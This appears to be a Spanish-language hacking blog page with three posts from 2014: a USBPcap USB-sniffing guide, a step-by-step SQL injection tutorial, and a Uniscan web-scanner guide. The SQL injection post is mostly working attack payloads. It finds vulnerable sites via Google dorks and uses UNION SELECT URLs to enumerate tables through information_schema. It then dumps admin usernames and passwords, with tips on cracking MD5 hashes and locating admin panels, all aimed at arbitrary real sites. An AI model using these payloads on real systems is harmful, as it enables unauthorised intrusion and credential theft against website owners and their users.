jueves, 18 de diciembre de 2014

USBPcap un sniffer USB para Windows

USBPcap es un sniffer USB de código abierto para Windows (XP, Vista, 7 y 8). Es capaz de capturar toda la actividad de cualquier dispositivo USB en formato pcap para un posterior análisis con Wireshark (1.10.0rc1 o superior).



Su funcionamiento es muy simple, Una vez descargado (USBPcapSetup-1.0.0.7.exe) e instalado nos iremos a su directorio y ejecutaremos USBPcapCMD.exe para ver los Root Hubs. Después seleccionaremos el dispositivo que queremos monitorizar y el fichero donde se volcará la captura:







Para detener la captura solo tecleamos Control+C pararemos y podremos analizar el fichero pcap con Wireshark. Como podéis ver en la siguiente imagen podemos registrar toda la actividad del USB, incluido la escritura en ficheros:






También podemos ver la captura en tiempo real con el siguiente comando:

USBPcapCMD.exe -d \\.\USBPcap1 -o - |"d:\ProgramFiles2\Wireshark\Wireshark.exe" -k -i -

Web del proyecto: http://desowin.org/usbpcap/index.html

martes, 16 de diciembre de 2014

Demostración básica de Injección SQL

Hoy veremos una práctica muy básica pero efectiva, vamos a ver como podemos realizar una Injección SQL pero antes tenemos que tener claro algunos conceptos.





¿Qué es SQL?


Lenguaje de consulta estructurado o SQL (por sus siglas en inglés Structured Query Language) es un lenguaje declarativo de acceso a bases de datos relacionales, que permite especificar diversos tipos de operaciones en ellas. de sus características es el manejo del álgebra y el cálculo relacional que permiten efectuar consultas con el fin de recuperar de forma sencilla información de interés de bases de datos, así como hacer cambios en ellas.




Muchos CMS, (Sistemas de Gestión de Contenidos) utilizan SQL para acceder a una Base de Datos (PhpMyAdmin) y guardar información.





¿Y qué significa SQLi?




Es la abreviatura de SQL Injection. Aunque, SQLi es un bug bastante antiguo, existen  muchos CMS o páginas web con esta vulnerabilidad.





¿Como buscar paginas vulnerables a SQLi?




Con Google, sin embargo, también existen Dorks (Palabras claves para poder encontrar CMS vulnerables). De todas formas no es muy complicado encontrar sitios (Probablemente) vulnerables a SQLi. Un ejemplo muy sencillo sería, dirigirnos directamente a Google y en el buscador 

colocamos esto:



id = cat index.php?





¿Como saber si la página es vulnerable?


Bastante fácil, tan solo tenemos que colocar una ' (Comillas, coma, punto, cualquier carácter) al final de la variable, es decir: 

/index.php?id=28'



nos deberá marcar un error como este (Pueden variar los errores, pero el más común entre 

ellos es este):



You have an error in your SQL syntax; check the manual that corresponds to your MySQL 


server version for the right syntax to use near ''' at line 1



Sí de lo contrario no nos muestra error, quizás el sitio no sea vulnerable, pero esto no quiere decir que no lo sea el programador o administrador puede haber agregado  una función en PHP, para que no se muestren los errores.




Cabe mencionar que es un error muy común por parte de los administradores, ya que eso no arregla el bug, el bug sigue ahí, existen otros métodos de para explotarlo como  la Injección a ciegas pero eso lo veremos otro día.





Explotando el Bug




Ahora viene la parte un poco más complicada, antes de nada tenemos que saber lo siguiente:




UNION se usa para combinar el resultado de un número de comandos 




SELECT en un conjunto de resultados




Ya hemos comprobado que anteriormente nos lanzó un error y que por lo tanto

era vulnerable, ahora deberemos buscar la columna que provoca el error.
Supongamos que tenemos lo siguiente:

 /index.php?cat=45

Y tendremos que dejarlo como en el siguiente ejemplo, le deberemos añadir el símbolo menos (-)
delante de la variable 45 y detrás del símbolo igual (=), y luego le añadimos el "union" más el "select", de esta forma:



/articulo.php?articulo=-230+union+select+1--




Empezamos a partir del numero 1 o el numero 0, y le vamos agregando más números hasta que nos desaparezca el error en pantalla. (Es muy importante poner los guiones al final y las comas en los números).




/articulo.php?articulo=-230+union+select+1,2,3--




En el momento en el que veas uno o más numeros en la pantalla y haya desaparecido el error habremos encontrado la columna vulnerable.






En resumen los números nos marcan que podemos concluir la inyección en este caso me iré sobre el numero 2 (color azul).

Hay que tener en cuenta también, la versión de la base de datos si es 5.*.* - comunity se podrán sacar los nombres de las tablas y columnas, si de lo contrario es inferior a la versión 5,no se podrá extraer los nombres de las tablas y/o columnas, se tiene que hacer a ciegas y es un poco más complicado.

Para saber la versión de la base de datos (SQL) solo agregamos al final de union+select+1,2,3,4,5 database()

Sacando los nombres de las tablas

Remplazamos el numero 2 por group_concat(table_name) algo así:


/articulo.php?articulo=-230+union+select+1,group_concat(table_name),3,4,5
+from+information_schema.tables--

Es importante agregar el +from+information_schema.tables--, nos dará como resultado todos los nombres de las tablas que existen en la Base de dados.



Como se ve en la imagen, tenemos como resultado los nombres de las tablas. Pero hay un problema, el tamaño de la página nos limita la visión y solo vemos una cierta cantidad de numero de tablas. 

Sin embargo,podemos utilizar otra alternativa, en este caso será la opción "limit" que nos permitirá limitar el rango de registro, y así poder acceder a la tabla deseada.

En este caso, quitamos group_concat() y solo dejamos table_name y al final de information_schema.tables agregamos +limit+1,1-- así quedará la url:

/articulo.php?articulo=-230+union+select+1,table_name,3,4,5
+from+information_schema.tables+limit+1,1--

Nos mostrará el nombre de la primera tabla, es decir, tendremos que buscar la tabla de la que queremos sacar los datos.

En este casola tabla que buscamos es admin, ahora vamos a convertirla en ASCII les dejo la herramienta online para el conversor de String a ASCII | http://easycalculation.com/ascii-hex.php

Una vez pasado a ASCII nos quedará algo así:

admin = 97 100 109 105 110

Extración de datos

Modificamos nuestra url algo que quede así (incluyendo el nombre de la tabla, pero convertida a ASCII):

/articulo.php?articulo=-230+union+select+1,group_concat(column_name),
3,4,5+from+information_schema.columns+where+table_name=char(97,100,109,105,110)--

Como resultado nos tendrá que imprimir los nombres de las columnas, por ejemplo:

email, contrasena, usuario, pwd


Esta parte es la más fácil, supongamos que ya sabemos los nombres de la tabla en este caso es admin y las columnas que nos interesan son usuario y pwd (contraseña), ahora hay que extraer los datos de esas dos columnas y para eso hacemos lo siguiente:

/articulo.php?articulo=-230+union+select+1,group_concat(usuario,0x3a,pwd),
3,4,5+from+admin-- 



Con esa simple inyección nos mostrará el usuario y contraseña de la administración. Si la contraseña esta encriptada en MD5 tendremos que utilizar alguna herramienta para poder descifrarla, también podéis utilizar alguna herramienta para encontrar el panel de administrador de la pagina que a veces anda bastante escondido. Y nada más por hoy espero que os sea de ayuda, hasta la próxima!

jueves, 4 de diciembre de 2014

Uniscan, Escaner de vulnerabilidades web

Hoy vamos a ver como podemos realizar un escaner a una web para encontrar posibles vulnerabilidades. Utilizaremos Uniscan, una herramienta que ya viene incorporada en BackTrack R3 que nos elabora un reporte con cierta información sobre el sitio en cuestión.

Utilizaremos Backtrack r3 ya que nos viene instalado por defecto en esta versión, lo primero que deberemos hacer será habrir una terminal y nos ubicareos en el directorio donde se encuentra Uniscan.

#cd /pentest/web/uniscan


Para poder ver las opciones de ayuda ejecutaremos Uniscan sin ningún parametro.

#./uniscan.pl


Nosotros vamos a realizar un simple escaneo de una web para ello necesitaremos un objetivo para escanear, elegimos la web y procedemos a escanear.

#./uniscan.pl -u http://web-ojetivo.es/ -bqdw




Al hacer esto ejecutaremos uniscan indicando que:

-u: examinara una url
-b: lo hará por background
-d: habilitara checkeos dinamicos
-w: habilitara checkeos a ficheros

Ya solo nos queda analizar el reporte de la ejecución que se guarda en:

#cd /pentest/web/uniscan/uniscan.log


Una hayamos accedido al reporte nos mostrará toda la información recolectada y las posibles vulnerabilidades. Y nada más por hoy, espero que os haya sido de ayuda, hasta la próxima.